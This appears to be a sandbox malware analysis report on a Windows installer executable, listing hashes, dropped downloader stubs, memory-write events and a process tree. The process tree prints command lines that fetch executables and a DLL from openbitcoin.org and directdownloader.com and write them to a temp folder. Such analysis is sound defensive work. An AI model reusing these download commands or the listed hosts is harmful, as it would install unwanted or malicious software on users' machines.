41b89309eeb40ccc5b8ba66041c9962caadcb1da03c950b6e1604dd1fd0279df

Analysis

max time kernel
152s
max time network
159s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
29/01/2024, 07:40

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General

Target

7f459b157bdd9fbb8e21799659771da8.exe
Size

492KB
MD5

7f459b157bdd9fbb8e21799659771da8
SHA1

b825bcd9c6dbefc2bfb7428c04ccc9b2967685e7
SHA256

41b89309eeb40ccc5b8ba66041c9962caadcb1da03c950b6e1604dd1fd0279df
SHA512

bac3fbf351acfab1a371e481c19d69938f56142285239dd381944c47f0b8caf06e3a37919a0433802a84ede8f11af6f7e459963392b7eeb488209edfa2f1fb56
SSDEEP

6144:auk4fqjBEQqF6jtY03ZgLpp6TURimpBwXVUTL7E97IkXQxBRUoz0JehYvH7Aw0v9:g4fw86peEUBwXVwM9vylzdYvH7AwC

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 6 IoCs

pid	Process
4504	downloaderSTUB.exe
3476	downloaderSTUB.exe
3244	downloaderSTUB.exe
3424	downloaderDDLR.exe
2328	downloaderOFFER0.exe
2672	preinstaller.exe

Loads dropped DLL 25 IoCs

pid	Process
3244	downloaderSTUB.exe
4504	downloaderSTUB.exe
3476	downloaderSTUB.exe
3424	downloaderDDLR.exe
2328	downloaderOFFER0.exe
3424	downloaderDDLR.exe
3244	downloaderSTUB.exe
3476	downloaderSTUB.exe
4504	downloaderSTUB.exe
2328	downloaderOFFER0.exe
3424	downloaderDDLR.exe
3476	downloaderSTUB.exe
3244	downloaderSTUB.exe
4504	downloaderSTUB.exe
2328	downloaderOFFER0.exe
3424	downloaderDDLR.exe
3244	downloaderSTUB.exe
3476	downloaderSTUB.exe
4504	downloaderSTUB.exe
2328	downloaderOFFER0.exe
3244	downloaderSTUB.exe
3424	downloaderDDLR.exe
3476	downloaderSTUB.exe
4504	downloaderSTUB.exe
2328	downloaderOFFER0.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral2/files/0x0006000000023142-4.dat	nsis_installer_1
behavioral2/files/0x0006000000023142-4.dat	nsis_installer_2

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1244 wrote to memory of 4504	1244	7f459b157bdd9fbb8e21799659771da8.exe	84
PID 1244 wrote to memory of 4504	1244	7f459b157bdd9fbb8e21799659771da8.exe	84
PID 1244 wrote to memory of 4504	1244	7f459b157bdd9fbb8e21799659771da8.exe	84
PID 1244 wrote to memory of 3244	1244	7f459b157bdd9fbb8e21799659771da8.exe	86
PID 1244 wrote to memory of 3244	1244	7f459b157bdd9fbb8e21799659771da8.exe	86
PID 1244 wrote to memory of 3244	1244	7f459b157bdd9fbb8e21799659771da8.exe	86
PID 1244 wrote to memory of 3476	1244	7f459b157bdd9fbb8e21799659771da8.exe	85
PID 1244 wrote to memory of 3476	1244	7f459b157bdd9fbb8e21799659771da8.exe	85
PID 1244 wrote to memory of 3476	1244	7f459b157bdd9fbb8e21799659771da8.exe	85
PID 1244 wrote to memory of 3424	1244	7f459b157bdd9fbb8e21799659771da8.exe	87
PID 1244 wrote to memory of 3424	1244	7f459b157bdd9fbb8e21799659771da8.exe	87
PID 1244 wrote to memory of 3424	1244	7f459b157bdd9fbb8e21799659771da8.exe	87
PID 1244 wrote to memory of 2328	1244	7f459b157bdd9fbb8e21799659771da8.exe	88
PID 1244 wrote to memory of 2328	1244	7f459b157bdd9fbb8e21799659771da8.exe	88
PID 1244 wrote to memory of 2328	1244	7f459b157bdd9fbb8e21799659771da8.exe	88
PID 1244 wrote to memory of 2672	1244	7f459b157bdd9fbb8e21799659771da8.exe	89
PID 1244 wrote to memory of 2672	1244	7f459b157bdd9fbb8e21799659771da8.exe	89
PID 1244 wrote to memory of 2672	1244	7f459b157bdd9fbb8e21799659771da8.exe	89

C:\Users\Admin\AppData\Local\Temp\7f459b157bdd9fbb8e21799659771da8.exe
"C:\Users\Admin\AppData\Local\Temp\7f459b157bdd9fbb8e21799659771da8.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1244
- C:\Users\Admin\AppData\Local\Temp\9eb5cf8a9e5777e5d7ccc596011a804e\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\9eb5cf8a9e5777e5d7ccc596011a804e\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\9eb5cf8a9e5777e5d7ccc596011a804e\stub.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4504
- C:\Users\Admin\AppData\Local\Temp\9eb5cf8a9e5777e5d7ccc596011a804e\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\9eb5cf8a9e5777e5d7ccc596011a804e\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\9eb5cf8a9e5777e5d7ccc596011a804e\updater.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:3476
- C:\Users\Admin\AppData\Local\Temp\9eb5cf8a9e5777e5d7ccc596011a804e\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\9eb5cf8a9e5777e5d7ccc596011a804e\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\9eb5cf8a9e5777e5d7ccc596011a804e\OpenCL.dll"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:3244
- C:\Users\Admin\AppData\Local\Temp\9eb5cf8a9e5777e5d7ccc596011a804e\downloaderDDLR.exe
  C:\Users\Admin\AppData\Local\Temp\9eb5cf8a9e5777e5d7ccc596011a804e\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\9eb5cf8a9e5777e5d7ccc596011a804e\DirectDownloaderInstaller.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:3424
- C:\Users\Admin\AppData\Local\Temp\9eb5cf8a9e5777e5d7ccc596011a804e\downloaderOFFER0.exe
  C:\Users\Admin\AppData\Local\Temp\9eb5cf8a9e5777e5d7ccc596011a804e\downloaderOFFER0.exe /U "http://www.directdownloader.com/toolbars/optimizer.exe" /D "C:\Users\Admin\AppData\Local\Temp\9eb5cf8a9e5777e5d7ccc596011a804e\optimizer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2328
- C:\Users\Admin\AppData\Local\Temp\9eb5cf8a9e5777e5d7ccc596011a804e\preinstaller.exe
  C:\Users\Admin\AppData\Local\Temp\9eb5cf8a9e5777e5d7ccc596011a804e\preinstaller.exe 0 "Devudu Chesina Manushulu [2012-MP3-VBR-320Kbps] - [HP]" "Download"
  2⤵
  - Executes dropped EXE
  PID:2672

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9eb5cf8a9e5777e5d7ccc596011a804e\downloaderOFFER2.exe

Filesize
58KB

MD5
c7f6ed56312c8fbb58ae6ed445c38df4

SHA1
e2dba94ef052db774478b9f7198c1a2298b334e5

SHA256
fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24

SHA512
ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43

Download Submit
C:\Users\Admin\AppData\Local\Temp\9eb5cf8a9e5777e5d7ccc596011a804e\preinstaller.exe

Filesize
213KB

MD5
06baef00ae0f0e42fc5fea24fc4eac42

SHA1
9161574590f09cfe4c24498827386ed57f2e8c58

SHA256
19460c3c1b450286c68fba77086c561e740374ae5c44213dd2ec22dc52a430b8

SHA512
29431ff9f16fdd4122a10dfec0f260a4397e776daae2ef17defae71e037f082d48d186a24d229c408c9d1b0b4f02aaeaa69011e44cf399795f9c09903ac51486

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsrD746.tmp\NSISdl.dll

Filesize
14KB

MD5
a5f8399a743ab7f9c88c645c35b1ebb5

SHA1
168f3c158913b0367bf79fa413357fbe97018191

SHA256
dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9

SHA512
824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977

Download Submit
memory/1244-45-0x0000000000400000-0x0000000000444000-memory.dmp

Filesize
272KB

Download
memory/2672-47-0x0000000000400000-0x000000000043F000-memory.dmp

Filesize
252KB

Download